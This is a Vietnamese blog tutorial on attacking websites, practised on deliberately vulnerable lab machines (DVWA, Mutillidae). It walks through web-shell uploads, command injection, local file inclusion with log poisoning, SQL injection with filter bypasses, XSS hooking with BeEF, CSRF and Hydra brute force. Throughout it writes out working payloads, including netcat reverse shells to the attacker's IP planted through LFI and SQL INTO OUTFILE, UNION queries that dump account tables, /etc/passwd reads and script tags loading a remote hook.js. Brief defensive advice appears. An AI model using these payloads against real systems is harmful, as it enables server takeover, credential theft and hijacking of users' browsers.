Website Hacking

Trong chuyến phiêu lưu này, tôi sẽ đưa bạn qua tất cả những kỹ thuật cơ bản nhưng CHƯA bao giờ lạc hậu trong lĩnh vực tấn công một website, hãy chuẩn bị để sẵn sàng đi với tôi, tôi sẽ đi với bạn đến khi hoàn thành bài viết này, dù cho đó sẽ là không ngủ đến khi hoàn thành.

Hệ điều hành duy nhất bạn cần và sẽ gắn bó với sự nghiệp hack là Kali linux, mình sẽ để link torrent một phiên bản mà mình hay dùng vì nó có sẵn nhiều tool cần thiết, và cả card mạng chipset phổ biến cho những cuộc tấn công local tại đây.

Bạn cũng nên cài VMware, công nghệ ảo hóa này đã lỗi thời vì giờ có docker nhưng với hacking nó vẫn phát huy hiệu quả để giả lập nhiều dạng máy tính cùng lúc, sau đó chúng ta cần chạy Metasploitable, đó là một phiên bản linux tạo ra môi trường để ta thực hành tấn công trên server side, tại đây. Các công cụ vân còn nhiều, trong quá trình thực hành mình sẽ nói cụ thể sau.

Cơ bản về terminal

Nếu bạn mới làm quen với terminal sẽ thấy nó hơi bị "ngầu", thực ra không những ngầu nó còn rất nhanh, mình đã dùng terminal gần 2 năm, mình nghĩ đây là thời điểm thích hợp để bạn làm quen với nó luôn.

Có 2 trang giúp bạn hiểu và tìm kiếm câu lệnh phù hợp là Linux CommandsExplainShell, mình không muốn nói quá nhiều về terminal, nếu bạn thấy thích hãy để lại commnent, mình sẽ viết 1 bài đầy đủ về nó và sức mạnh của nó.

Bạn hãy bật máy ảo metasploit và thử gõ ifconfig, copy địa chỉ nó hiện rồi gõ vào máy thật, nó sẽ hiện lên các trang web mà hệ điều hành đó đã tạo (nó cũng giống như khi bạn vào 1 trang web thì trang đó nó cũng có 1 máy chủ, ở đây máy chủ là metasploit với đầy lỗ hổng bảo mật đã được cài sẵn).

Website là gì ?

Câu hỏi có vẻ đơn giản đối với bạn, 1 lập trình viên, hay 1 người muốn tìm hiểu về thế giới máy tính, nhưng rốt cuộc website là gì ? Bạn sẽ giải thích sao khi có 1 người hỏi bạn câu đó ? Nói tóm lại, website là 1 ứng dụng chạy trên 1 máy chủ nào đó, sử dụng công nghệ nào đó. Phần còn lại mình cũng lười giải thích vì nó hơi mênh mông.

Thu thập thông tin - Infomation Gathering

Điều đầu tiên trước khi bắt đầu tấn công 1 website đó là thu thập thông tin về website đó, dùng whois để biết thông tin về chủ sở hữu website, dùng netcraft để biết công nghệ mà website sử dụng, dùng robtex để biết thông tin về DNS của website, nên nhớ vụ hack google thành công duy nhất cho đến này đó là dùng DNS, đừng coi thường cái này.

Có thể dùng các công cụ trên để khám phá các website nằm trên cùng 1 server, hoặc dùng bing với cú pháp: ip:địa_chỉ_ip_website.

Để tìm kiếm subdomain của một website, dùng knock, như ví dụ dưới đây:

Để tìm kiếm tất cả các file, có thể dùng Dirb, với từ điển sẵn có của nó, hoặc bạn có thể link đến từ điền của bạn. Cài đặt có thể dùng: sudo apt-get instal dirb.

Có 1 công cụ rất mạnh tên là Maltego, nhưng bạn phải dùng tài khoản premium mới dùng được các tính năng đáng dùng của nó để thu thập thông tin, không những có thể thu thập thông tin từ website, nó còn được dùng để lên kế hoạch tấn công bất kỳ mục tiêu nào. Và thường dùng công cụ đó khi bạn muốn khai thác thông tin từ một máy chủ ở quá xa bạn, không có bất cứ liên kết gì, vì thế mình không đề cập đến.

Lỗ hổng khi tải file lên server - File Upload Vulnerabilities

Nếu 1 trang bị lỗi file-upload thì ta có thể tải shell lên để truy cập, điều khiển trang web đó từ xa, mở metaslpoilt lên, truy cập trang dvwa, nhập tài khoản mặc định admin/password. Sau đó sang máy chính linux tạo shell, bằng công cụ weevely (sudo apt-get install weevely),

Sau đó upshell lên:

Và giờ, bạn gần như có toàn quyền với trang web:

Intercepting Requests

Không hẳn là chặn một request, đơn giản là ta can thiệp vào quá trình gửi và nhận request của website, khi mình gửi request, mình sẽ can thiệp vào giữa đó thông qua cơ chế proxy và tool Burp Suite, sửa đổi rồi mới cho nó gửi tiếp đến website, sẽ nói ở sau bài viết.

Ví dụ nếu website không cho tải file php lên, ta sẽ thay đổi tên file thành phần mở rộng .jpg, sau đó khi submit file, ta sẽ đổi tên file trong quá trình gửi đi bằng burp suite, đọc bài

để biết thêm về cách đổi tên file sao cho khó bị phát hiện.

Nếu bạn là chủ sở hữu website, để ngăn chặn tấn công, có thể tham khảo cách thức viết code bảo mật như sau.

Các lỗ hổng thực thi - Code Execution Vulnerabilites

Nếu website cho phép thực thi câu lệnh trên trang thì ta có thể sử dụng các công cụ dưới đây để tạo kết nối đến máy tính của mình, ví dụ netcat. Đầu tiên trên máy của mình ta tạo port để theo dõi, sau đó up câu lệnh liên kết vào form, ping, ta đã kết nối được với server:

Câu lệnh kết nối như dưới đây, với IP là địa chỉ ip của máy dùng để theo dõi:

Dấu chấm phẩy (;) ở đây là để viết 2 câu lệnh cùng 1 lúc, đó là lỗi của website khi cho thực thi nhiều câu lệnh cùng 1 lúc. Nếu website chặn dấu ;, hãy thử sử dụng ký tự "|" để phân tách, ký tự này sẽ thực thi cả 2 câu lệnh cùng 1 lúc nhưng chỉ hiện câu lệnh phía sau, còn ký tự ; thì thực hiện tuần tự câu lệnh.

Trên đây là một số câu lệnh để điền form kết nối tới máy tính của mình, để bảo mật cho website của bạn, thì hãy dùng regex để lọc ra đâu là câu lệnh thực thi điều mà form cần làm, ví dụ với form ping ip của website ở trên, có thể dùng đoạn code dưới đây:

Local File Inclusion Vulnerabilities

Lỗ hổng bảo mật này có thể hiểu là chúng ta có quyền đọc tất cả các file của 1 trang web, mã nguồn, file cấu hình,v..v

Ví dụ 1 trang web thường để tham số truy cập đến 1 trang nào đó là ?page=..., dấu 3 chấm sẽ được thay bởi tên 1 file nào đó, nếu như mọi file mà người dùng đều có quyền truy cập, như vậy chẳng phải gõ đúng địa chỉ file thì sẽ truy cập được nội dung file sao ?

Đầu tiên ta gõ thử 1 tên page không xác định để xem cấu trúc thư mục của trang web thế nào.

Nếu bạn dành về hệ điều hành bạn sẽ biết có 1 tệp tên passwd lưu ở thư mục / (trước thư mục var), như vậy ta chỉ cần trỏ đúng vị trí thôi thì sẽ mở được tệp đó:

Một khi có quyền truy cập vào mọi file, ta còn có thể tạo shell trên website đó, như ví dụ dưới đây, ta đã biết, hoặc giờ sẽ biết ở trên hệ điều hành Linux sẽ lưu lại biến môi trường người dùng truy cập tại /proc/self/environ, đầu tiên chúng ta sẽ truy cập đến đây thử:

Để ý sẽ thấy chỗ tên trình duyệt, hệ điều hành máy tính, tức là, thẻ user-agent đã nhận request từ client để gửi lên server, tuyệt vời, giờ ta có thể sửa thẻ đó bằng Burp site proxy để gửi mã lệnh thực thi điều gì đó, ví dụ "?phpinfo();?" thử xem :

Sau khi đã thành công tất nhiên ta sẽ tạo 1 cổng kết nối tới máy mình để hoàn toàn điều khiển với netcut:

Còn một cách khác để lấy quyền điều khiển hay hơn nữa là dựa vào file log, /var/log/auth.log của linux sẽ ghi lại nhật ký những lần login vào server, để login vào server ta sẽ dùng ssh (máy chủ nào cũng có), đầu tiên, ta sẽ show thử file đó lên:

Đó là danh sách các lần đăng nhập của admin vào server, như vậy, ta sẽ thử đăng nhập 1 lần xem sao:

Như đã thấy, dù đăng nhập thất bại nhưng file nhật ký vẫn ghi vào, và quan trọng hơn nữa, khi refresh trang file nhật ký vẫn "HIỂN THỊ" dòng đó, bạn đã nghĩ ra điều gì chưa ? Khi 1 dòng được hiển thị, nó sẽ được gọi từ server, như thế nếu cái dòng hiển thị đó là 1 câu lệnh ? Sẽ là 1 câu lệnh thực thi trên server rồi trả về cho bạn ? Ok, chúng ta sẽ có thể tạo shell từ đây, hãy nhớ điều đó, khi chúng ta có thể ghi vào file và hiển thị nó lên 1 trang web, chúng ta có thể điều khiển được nó.

Chúng ta cũng tạo cổng để kết nối bằng netcat, với câu lệnh như ở trên: >?passthru('nc -e /bin/sh MY_IP 8000');?>, nhưng hãy để ý có ký tự '/' trong dấu '' sẽ làm chương trình nhầm lẫn, vì vậy ta sẽ mã hóa nó sang base64 cho chắc rồi giải mã mã nó bằng base64_decode:

Rồi sau đó giả vờ ssh nào

Refresh lại trang:

Remote file inclustion

Đây là 1 trường hợp đặc biệt của phần ở trên, khi trang web cho phép trả về cả file url bên ngoài (thực thi file bên ngoài), cách làm cũng tương tự, ta sẽ viết 1 url ngoài rồi ép trang web trả về trang kia, thế là được.

Nếu thông báo lỗi hãy thử thay http thành hTTp hay htTP để tránh regex của trang web.

Cách bảo vệ trang web của bạn có thể xem tại đây, rồi suy ra các nền tảng còn lại:

SQL Injection Vulnerabilities

Lỗ hổng này có khi còn nhiều tuổi hơn tôi, nhưng vẫn nguy hiểm cho đến bây giờ, như vụ BKAV bị hack vừa rồi.

Tấn công login-page

Kỹ thuật đơn giản chuyện cổ tích "123456' or 1=1 #" thì chắc ai cũng biết rồi, chỉ lưu ý ở đây là dấu # sẽ chặn đứng các ký tự đằng sau đó, điều này có ích ví dụ trong trường hợp điều kiện truy vấn của nó là '$password', dấu ' cuối cùng sẽ không được thực thi, do đó câu lệnh không bị lỗi.

[!] Lưu ý: thanh ký tự # thành mã html: %23

Bạn có nghĩ nếu không nhập ô mật khẩu có vào được không, như cái ví dụ # ở kia, bạn chỉ cần viết tên_user + ' + # là sẽ đăng nhập được, tại sao ư, ví dụ câu truy vấn của họ là SELECT * FROM acccount WHERE user = '$user' AND pass = "#pass", như vậy khi mình viết SELECT * FROM account WHERE user = 'duy'#'..thì mọi thứ từ đây là vô nghĩa, nên chắc chắn nó là 1 câu truy vấn đúng rồi.

Nãy giờ quên không nói bạn vào mutillidae trong metasploit để thực hành nhé:

Nếu bạn chỉnh Toggle Security lên 1 đơn vị, nó sẽ khó hơn chút, mấy câu lệnh kia của bạn sẽ không bao giờ được chạy, vì bộ lọc của website nó đã phát hiện ra đó là những câu lệnh nguy hiểm, nhưng chưa phải là không có cách, nếu như website kiểm tra bạn chỉ ở phía client cho nhanh chóng, bạn hoàn toàn có thể thay đổi điều đó với Proxy, nghe quen không, bạn chỉ cần can thiệp vào quá trình gửi đi sau khi đã được client cho phép, rồi sửa đổi gói tin đó:

Khai thác dữ liệu từ Database

Nếu phương thức get của website có vấn đề chúng ta có thể khai thác dữ liệu từ param, tương tự như điền form, ví dụ: http://172.16.180.129/mutillidae/index.php?page=user-info.php&username=admin%27%20order%20by%201%20%23&password=fjfj&user-info-php-submit-button=View+Account+Details, hãy để ý &username=admin' order by 1 #..., câu lệnh này sẽ in ra thông tin của admin, tại sao ? Vì order by 1 có nghĩa là sắp xếp theo cột 1 trong bảng database (ta không cần quan tâm nó là cột gì) luôn đúng, vì thế nó in ra.

Dựa vào order by ta có thể thử, để biết xem database có bao nhiêu cột, sau đó dùng câu lệnh: &username=admin' union select 1,2,3,.... nó sẽ hiện ra những cột mà khi bạn thay đổi giá trị các số đó ,nó sẽ hiện ra dữ liệu, ví dụ: union select 1,database(), user(), vesion(),5, khi thấy nó hiện ra 2,3,4

Và đó chính là tên của database của website đó, khi đã có tên database, với những nhận định về union và cột ở phía trên, ta hoàn toàn có thể show ra tất cả các bảng (Tables) của database đó: union select 1,table_name,null,null,5 from information_schema.tables, nếu chỉ chạy lệnh này nó sẽ in ra tất cả các bảng của server mysql đó, nếu muốn chỉ in ra bảng của database phía trên, ta thêm lệnh: where table_schema = 'name_database_rev'

Với những bảng đã lấy được ở trên, giờ ta muốn show ra cột của 1 bảng nào đó, giả sử bảng account, cũng làm tương tự như trên: union select 1,column_name,null,null,5 from infomation_schema.columns where table_name = 'accounts'

Sau khi có tên các cột, giờ ta có thể show ra càng dòng của từng cột: union select 1,username,password, is_admin,5 from accounts

Như vậy, ta đã lấy được toàn bộ thông tin các bảng theo cùng 1 cách làm tương tự nhau.

SQL Injection - Một số kỹ thuật nâng cao

Nếu website che đi lỗi SQL inject (blind SQL Injections) thì phương pháp tấn công cũng không có gì khác, chỉ là khi truy vấn 1 câu SQL lỗi nó sẽ không hiển thị điều gì cả, điều này không giúp cải thiện vấn đề bảo mật trang web thậm chí nó còn có thể dễ bị khai thác hơn, vì khi yêu 1 kết quả đúng như "yêu cầu của trang" thì nó vẫn hiện ra:

Trên đây là một số câu SQL Injections sưu tầm.

Không phải trang web nào cũng sử dụng câu lệnh SQL như trên, tùy thuộc vào cách viết code của lập trình viên mà câu lệnh SQL sẽ khác, dưới đây là 1 ví dụ:

Nếu chạy truy vấn: 'something or 1=1# như bình thường, trang web sẽ báo lỗi:

Nhưng nếu chạy lệnh: something or 1=1# (không có dấu ' ở đằng trước), sẽ hiện ra như mọi khi:

Lí do là vì lập trình viên viết code cho đoạn mã này xử lý câu lệnh là: SELECT * FROM TABLE_NAME WHERE user = $user, chứ không phải như mọi khi.

Xin bạn đừng học theo viết code như trên đây, vì nó rất tệ, hãy xem lại mục chống hack SQL injections mình đã chia sẻ code tối ưu hơn, với sự trợ giúp của Framework hiện nay, các lỗi này đều đã bị chặn đứng bởi công nghệ, tuy nhiên, nếu ta không hiểu nó, sẽ không hiểu các cú pháp của Framework hiện đại tại sao nó lại phải như thế và nên như thế.

Với ví dụ ở trên, có vẻ code đã chặn những dấu '' được gửi đi phía client, nên nếu bạn gửi câu truy vấn để hiển thị tất cả table trong cơ sở dữ liệu sẽ không được:

Như bạn có thể thấy câu truy vấn: 'something union select table_name,2 from information_schema.tables where table_schema ='dvwa' đã không hoạt động.

Khắc phục điều này bằng cách đi sâu vào cơ chế truy vấn của SQL, bạn có giá trị của các ký tự trong dấu '', ví dụ password = '123' sẽ được chuyển về hệ hex để máy tính xử lý ? Như vậy, chỉ cần chuyển table nêu trên ('dvwa') về dạng hex, rồi thực hiện lại câu truy vấy: 'something union select table_name,2 from information_schema.tables where table_schema =0x64767761 #

Bypass Filter

Đối với 1 số website mà phần check câu truy vấn (filter SQL inject) nằm ờ server side thì ta không thể can thiệp dùng Proxy, nhưng ta vẫn có cách Bypas nó nếu như lập trình viên dùng những đoạn Regex không chặt chẽ, dưới đây là 1 số ví dụ về biến thể truy vấn vẫn chạy như nhau:

Accessing all records

Nếu server chỉ trả về 1 bản ghi duy nhất mỗi lần truy vấn (ví dụ chỉ trả về dòng đầu tiên của bảng truy vấn) thì ta không thể nào mà lấy ra tất cả các bản ghi của bảng đó, cách để bypass điều này là sử dụng lệnh limit trong SQL, ví dụ: 1' uNioN/**/sEleCt/**/table_name,2fRom+information_schema.tables+where+table_schema='dvwa'+limit+1,1%23 (câu lệnh được viết để bypass filter), hãy để ý limit 0,1, ở đây số 0 là vị trí con trỏ đứng trong bản ghi, 1 là số lượng phần tử lấy từ số 0, với cách làm này, ta chỉ cần thay 1,1, 2,1 3,1 là có thể get cả bản ghi, hoặc viết tool để làm điều đó tự động.

Bảo mật SQL Injection

Một cách bảo vệ hiệu quả đó là không nhúng trực tiếp chuỗi người dùng nhập vào câu truy vấn, hãy kiểm tra xem nó có phải là ký tự cho phép hay không, hãy đặt nó trong dấu '', ví dụ '$pass', như thế, câu truy vấn của hacker sẽ kiểu '1=1 order by 1' và điều đó trở nên vô nghĩa trong dấu ''.

Read and Write file with SQL Injections

Đây có lẽ là điều bạn chưa từng nghĩ đến với SQL Injections, nếu bạn giống như tôi, chắc bạn tưởng nó chỉ là công cụ để show database thôi. Chúng ta có thể thực thi lệnh trong câu truy vấn SQL, như đã show ra database() trong ví dụ trên, ở đây lệnh dùng là load_file(), với cấu trúc thư mục đã được tìm hiểu, ta sẽ thử load_file('/etc/passwd'): http://SERVER/mutillidae/index.php?page=user-info.php&username=admin%27union%20select%201,load_file(%27/etc/passwd%27),3,4,5%23&password=password&user-info-php-submit-button=View+Account+Details | union select 1,loadfile('/etc/passwd')...

Không những đọc được, mà ta còn có thể ghi: http://SERVER/mutillidae/index.php?page=user-info.php&username=admin%27union%20select%201,%27Hello%20from%20client%27,3,4,5%20into%20outfile%20%27/tmp/example.txt%27%23&password=password&user-info-php-submit-button=View+Account+Details(union select 1,'Hello from serer',2,3,4,5 into outfile '/tmp/example.txt'), lưu ý nếu lưu vào /etc/ thì sẽ không có quyền.

Khi lưu xong ta sẽ hiển thị lên:

Tiếp theo, ta sẽ tạo shell trên trang web bằng việc lưu lại 1 file, điểm cần lưu ý ở đây là nơi lưu file, vì không phải ở đâu cũng lưu được, nên lưu ở các thư mục mà được phép lưu không cần quyền root như images/, tmp/, câu lệnh có dạng: union select '>?passthru("nc -e /bin/sh/ YOUR_IP_ADDRESS 8000");>?', null into outfile '/var/www/dvwa/reverse.php' #

Sau đó chúng ta cần dò ra đường dẫn nơi đã lưu file theo cấu trúc thư mục, rồi chạy file, trên máy thật bật netcat để kết nối.

SQLMap

Cho đến nay, chúng ta đều thực hiện SQL Injections bằng tay, việc này có vẻ không hiệu quả, khi trong thực tế, có thể chúng ta chỉ lấy được từng dòng dữ liệu, với SQLMap, bạn có thể dễ dàng thực hiện một cuộc tấn công lỗi bảo mật này, với các kỹ thuật cũng như đoạn mã mà để viết bằng tay sẽ rất dài và tốn thời gian, chỉ cần bạn hiểu là được.

Bạn có thể xem hướng dẫn cài tại đây, nên dùng git để sử dụng, vì mình thấy tool này vẫn được cập nhật gần đây, để luôn sử dụng bản mới nhất, mỗi lần dùng hãy git pull nhé.

Gõ python3 sqlmap.py -h để xem documents:

Ví dụ câu lệnh sau đây để lấy ra database của trang web đó: python3 sqlmap.py -u "http://SERVER/mutillidae/index.php?page=user-info.php&username=aa&password=djd&user-info-php-submit-button=View+Account+Details" --current-db

Trong lần chạy đầu tiên, sqlmap sẽ phải scan trang web nên rất lâu, từ lần chạy thứ 2 trở đi sẽ nhanh hơn nhiều, thông tin database sẽ được hiển thị như dưới đây:

Để hiển thị tất cả các bảng trong 1 database, dùng lệnh python3 sqlmap.py -u "" --tables -d [name_table]

Để hiển thị các cột trong một bảng, sử dụng: sqlmap.py -u "" --columns -T "name_column" -D "name_database"

Để show các dòng một bảng, sử dụng: sqlmap.py -T "name_tables" -D "name_database" --dump:

Như có thể thấy, sqlmap ghi lại cả câu truy vấn thực thi, rất chi tiết, còn rất nhiều điều có thể làm với sqlmap, hãy tự tìm hiểu.

Có thể tạo shell trên sqlmap với lệnh --os-shell, chọn ngôn ngữ mà máy chủ sử dụng, tuy nhiên cách này không hiệu quả:

Cách thứ 2 là sử dụng sql-shell, giúp bạn truy vấn câu lệnh sql như bình thường trong môi trường máy chủ: --sql-shell:

Như vậy, SQL Injection là 1 kỹ thuật rất mạnh và lập trình viên nên biết cách ngăn chặn lỗ hổng bảo mật này cũng như hiểu nó, phần tiếp theo, mình sẽ nói về một phương thức tấn công mới, thú vị không kém, đó là XSS.

XSS Vulerabilities

Xin lỗi nhưng đã hơn 24h mình không ngủ và giờ là hơn 2 giờ sáng, mình cần đi ngủ chút, phần này mình sẽ cập nhật sau.

Trước tiên bạn có thể tham khảo kỹ thuật nhúng thẻ script cơ bản tại đây

XSS Reflected

Để tóm gọn phần mở đầu này hãy thử chèn 1 script vào trang: http://SERVER/mutillidae/index.php?page=password-generator.php&username=anonymous, đây là 1 trang render mật khẩu, trong trang đó hiển thị một dòng thông báo đang render mật khẩu cho user nào với tham số truyền vào sau @username=..., như vậy, ta có thể lợi dụng điều này để thực thi XSS ở đây, câu lệnh được dùng là: ";alert('xss here'); //. Phân tích câu lệnh, dấu ; được thêm vào để tách hai câu lệnh hiển thị dòng thông báo, cấu // ở cuối để ngắt các cú pháp phía sau nó (tương tự # ở SQLInjection), câu lệnh XSS biến đổi liên tục tùy thuộc vào phong cách lập trình của lập trình viên trang web đó mà ta phải điều chỉnh câu lệnh để nó hoạt động được, bằng cách xem mã nguồn Javascript chạy trên máy server, khi xong, ta sẽ được 1 URL có dạng: /index.php?page=password-generator.php&username=duy";alert('xss here');//, chạy URL đấy sẽ hoạt động đoạn script của ta:

Khi đọc đến đây bạn có thể tự định nghĩa XSS là gì ở trong đầu, khỏi cần mình phải giới thiệu dài dòng, tiếp theo, chúng ta cùng tìm hiểu xem XSS tiềm năng đến đâu.

XSS Stored

Với lỗ hổng này, ta sẽ lưu đoạn script ở trên SERVER, vì vậy, nó có thể xuất hiện với mọi người dùng mà không cần mình phải gửi URL và đợi người dùng click vào, ví dụ http://172.16.180.129/dvwa/vulnerabilities/xss_s/, điền thử script vào và trải nghiệm, mỗi lần người dùng nhấn vào tab này mã script sẽ được thực thi:

Nếu như bộ lọc website chặn dấu '' trong phần submit form, để khắc phục điều này chúng ta phải hiểu javascipt coi các ký tự viết ví dụ 'something just like this' là một đoạn charcode, vì vậy, nếu bạn dùng tool để biến đôi đoạn thành thành về charcode, bạn sẽ không phải viết dấu '' nữa, tương tự mã hex của SQL Injection: sCript> alert(String.fromCharCode(00,3939,v..v)); >/script>

Đó là sơ qua về lỗi XSS này, trong phần tiếp theo chúng ta sẽ cùng khai thác nó, trước tiên, bạn nên có một máy ảo window để giả làm phía người dùng thực thi câu lệnh, mình mới biết trang này của chính chủ Microsoft cho phép tải các file image window cho mọi máy ảo, mình sử dụng VMWare như đề cập ở đầu bài viết.

Kết nối (hooking) website với Beef sử dụng XSS Reflected

Beef là một framework để khai thác lỗ hổng với XSS, sau khi cài đặt beef tại đây, ta khởi động nó:

Sau khi mở beef với user pass mặc định là beef/beef, quan sát thư mục Online Browsers hiện đang trống, giờ sẽ tiến hành kết nối với một website bị lỗ hổng XSS reflected, cụ thể là: http://SERVER/dvwa/vulnerabilities/xss_r/, bằng câu lệnh: script src="http://IP_ADDR:3000/hook.js">/script, với IP là IP của máy của ban, có thể dùng ifconfig để xem, câu lệnh XSS có thể là: /dvwa/vulnerabilities/xss_r/?name=duy%27;%20 ..script src="http://172.16.180.1:3000/hook.js">..script..#

Trên trình duyệt, beef sẽ hiện ra kết nối thành công cũng như thông tin của website

Hooking Beef with XSS Stored

Với lỗ hổng này, ta chỉ cần gửi cho người dùng 1 link bình thường (vì mình đã cài script và script đó đã được lưu trên trang đó rồi), vì vậy, rất khó phát hiện và người dùng cũng dễ bị click hơn, câu XSS dưới đây phải set lại max length của form lớn hơn 50 để có thể viết được cả câu.

Sau đó, ta gửi link cho user mà ta muốn khai thác trình duyệt đang sử dụng, cụ thể ta sẽ mở link đó bằng máy ảo Window vừa cài ở trên.

Như có thể thấy, sau khi Beef liên kết được với website, rồi khi người dùng click vào link đó, ta hoàn toàn chiếm được quyền điều khiển trình duyệt máy người dùng, bạn không nghe nhầm đâu, chúng ta có thể ép trình duyệt người dùng gửi ảnh chụp màn hình, điều hướng trang của người dùng.vv..v

Vào tag comment, tìm kiếm alert, bạn có thể gửi thông báo đến máy đã click vào url của bạn:

Nếu người dùng thoát ra thì khi họ vào trang sẽ nhận được lệnh thực thi, có rất nhiều script XSS đã được viết sẵn, ví dụ Spyder Eye sẽ chụp lại màn hình trình duyệt người dùng:

Nếu chọn allow on their tag thì sẽ có thể khai thác trong khi người dùng mở tag khác:

Với mục kỹ thuật Social Enginner, với Prety, bạn có thể giả vờ hiện một dialog lên trình duyệt người dùng, để yêu cầu mật khẩu tải khoản:

Có thể sử dụng 1 công cụ khác của Beef để giả dạng một thông báo cập nhật phần mềm trình duyệt, rồi mình cài trojan vào file người dùng tải xuống, chiếm quyền điều khiển máy tính, điều này sẽ được nói kỹ hơn trong bài về kỹ thuật Social Engineer của mình.

Ngăn chặn lỗi XSS

Để ngăn chặn XSS cho website của bạn, hãy biến đổi tất cả các ký tự về dạng HTML code, như vậy Javascript sẽ không bao giờ được thực thi.

Insecure Session

Trong phần này, chúng ta sẽ bypass quá trình đăng nhập bằng cách chỉnh sửa cookie. Mình sử dụng addon trên Firefox tên là Cookies Manager để xem và sửa cookie, theo mình nó dễ dùng nhất, khi đăng nhập vào multildae, và mở Cookies Manager, chỉnh sửa tham sô uid =1, bạn sẽ có quyền đăng nhập của admin, đây là lỗ hổng cookie của trang web nảy.

Cross Site Request Forgery (CSRF)

Có vẻ bạn đã dùng 1 số framework yêu cầu phải cấu hình chặt chẽ để tránh lỗi này, bây giờ, chúng ta sẽ khai thác nó. Lấy ví dụ trang web dưới đây bị lỗi CSRF của form, form này cho phép đổi mật khẩu, nhưng vì chưa khắc phục lỗi CSRF nên form có thể được gửi đi mà không cần đang phải ở trang web đó, vì vậy, đầu tiên ta copy cái form đó:

Sửa mã html của action thay vì gửi cho curent page, ta sẽ gửi đến page đổi mật khẩu của website kia:

Rồi thử submit lại form, vẫn sẽ thay đổi được mật khẩu, dù cái form đó không nằm trên trang web kia. Như vậy, lỗ hổng này dùng để chiếm quyển (hijack) điều khiển trang web.

Tiếp theo, mình sẽ nâng cấp file html kia lên, khi người dùng click vào nó nó sẽ tự động đổi theo ý của mình.

Cách để ngăn chặn lỗi này là khi form được gửi đến phía client sẽ kèm theo csrf-token, khi form submit sẽ kiểm tra xem token đấy có tồn tại không, và khi refresh trang thì token thay đổi, như thế sẽ không thể chạy submit form từ 1 web khác.

Brute Force

Đầu tiên, để tạo từ điển, mình sẽ dùng Crunch (sudo apt-get install crunch), bạn có thể xem kỹ hơn trong bài viết Hacking Fundamentals của mình.

Tiến hành bẻ khóa mật khẩu bằng Hydra (sudo apt-get install hydra), trước tiên, ta cần quan sát trang web mình cần brute force, với trang login này, sau khi đọc mã nguồn ta đã biết nó dùng giao thức http và phương thức gửi đi là method form-post:

Sau đó trên terminal gõ: hydra -help, đọc sơ qua document, đến phần service hỗ trợ, thấy: http[s]-{get|post}-form, thử gõ vào terminal để hiểu kỹ hơn: hydra -U http-post-form:

Có quá nhiều cú pháp ở đây, nhưng trang của mình là php nên mình chỉ quan sất cái tham số đầu:"/login.php:user=^USER^&pass=^PASS^:incorrect", sau đó, dùng burpsite để xem request gửi đi của cái form trên web kia là như thế nào. Quan sát header:

Giờ ta phải sửa câu "username=admin&password=tmp&login-php-submit-button=Login" cho giống cú pháp của hydra "/login.php:user=^USER^&pass=^PASS^:incorrect"

Web: /mutillidae/index.php?page=login.php, thì sửa thành: /mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^:F=Not Logged In

Phân tích câu lệnh này, khó hiểu nhất là phần cuối, đó chính là điều kiện sai của request này, khi bạn gõ sai mật khẩu hay user name, trang web sẽ hiện lên một dòng là "Not Logged In", như vậy, ta sẽ tìm kiếm nếu dòng đó xuất hiện, ta sẽ biết là vẫn đang sai để còn thử tiếp, đó là điều rất quan trọng để có thể bruteforce.

Câu lệnh hydra hoàn chỉnh sẽ có dạng như sau: hydra 172.16.180.129 -l admin -P /home/duy/wordlist.txt http-form-post "/mutillidae/index.php?page=login.php:username=^USER^&password=^PASS^:F=Not Logged In" -V

Với tham số -V để hiển thị các lần thử, hydra cho phép tạm dừng quá tình thử, khi tiếp tục bruteforce, chỉ cần thêm tham số -R nó sẽ bắt đầu tiếp nơi nó đã dừng.

Khám phá lỗ hổng sử dụng Owasp-Zap

Cho đến nay, chúng ta đều tự tìm ra lỗ hổng và thực thi nó bằng tay (ngoại trừ SQLMap), về điều này trong thực hành là không cần thiết nếu ta chỉ cần quét sơ qua, rồi sau đó khi phần mềm không tìm ra lỗ hổng nào ta mới bắt tay đi sâu hơn vào từng lỗ hổng, sẽ tiết kiệm được rất nhiều thời gian cho một cuộc xâm nhập, công cụ chúng ta sẽ dùng là Owasp-Zap, nếu bạn dùng bản Linux mình gửi ở trên, sẽ không phải cài bất cứ công cụ nào, nó đã bao gồm tất cả trong đó.

Nếu bạn chưa biết cài file SH thì đơn giản chỉ cần cho nó quyền thực thi chmod +x tên file, rồi thực thi nó bằng sudo ./tên file là được.

Khi nhập URL vào, nó cho phép tìm kiếm các lỗ hổng ở các mức độ khác nhau, chỉnh sửa cấp độ ở mục Policy, hãy làm việc khác trong khi chờ Owaps Zap quét toàn bộ trang web.

Sau khoảng 1 tiếng quét thì Owaps Zap hiện tất cả các lỗ hổng mà nó quét được cũng như cách làm sao để nó phát hiện ra lỗ hổng bảo mật đó.

Post Exploitation

Cho đến nay, chúng ta đã nghiên cứu khá nhiều lỗ hổng bảo mật, điểm đến cuối cùng có thể là trình duyệt người dùng hoặc cài shell lên trang web, chúng ta vẫn chưa nói kỹ về sức mạnh của mình sau khi có thể cài shell lên 1 trang web, ở phần này, sẽ nói kỹ hơn về vấn đề đấy.

Việc đầu tiên sau khi đã cài đặt shell là show thông tin bạn có những quyền gì cũng như thông tin về máy, khi hack được 1 website, bạn cũng sẽ truy cập được vào tất cả các web site khác trên server đó thông qua thư mục /var/www, như vậy, nếu website đó quá khó hack hãy hack các website khác dễ hơn trên Server đó, vấn đề này đã được nói ở đầu bài viết phần thu thập thông tin.

Ví dụ chúng ta muốn upload 1 shell khác (có thể dễ dàng truy cập hơn), đầu tiên chúng ta phải tạo shell đó bằng weebly, đổi tên file từ php sang txt vì khi để php thì lúc tải về không bao gồm code (sau đó chúng ta có thể đổi ngược lại khi file đã lên server kia), rồi download nó về bằng lệnh wget, chạy weebly kết nối trên máy mình.

Lệnh :help để xem những gì có thể làm với weebly

Bypass Limited Privileges

Trong nhiều trường hợp, không phải lúc nào bạn cũng thực hiện được câu lệnh command, để khắc phục điều này, hãy thử lệnh: shell_sh -vector [thử từng cái] lệnh

Download Files from target server

Sử dụng lệnh: file_download -vector file namefile source_save_download

Upload files

Nếu muốn upload vào luôn thư mục hiện tại, chỉ cần điển: ./name_file

Để tải database về, sử dụng lệnh:

Tổng kết

Cuối bài viết này, mình sẽ để lại template cho ai muốn report lỗ hổng bảo mật của mình tại đây

Nhận xét

Bài đăng phổ biến từ blog này

Hiểu về Norm Regularization

Những thuật toán nền tảng trong lĩnh vực Trí tuệ nhân tạo (Artificial Intelligence I)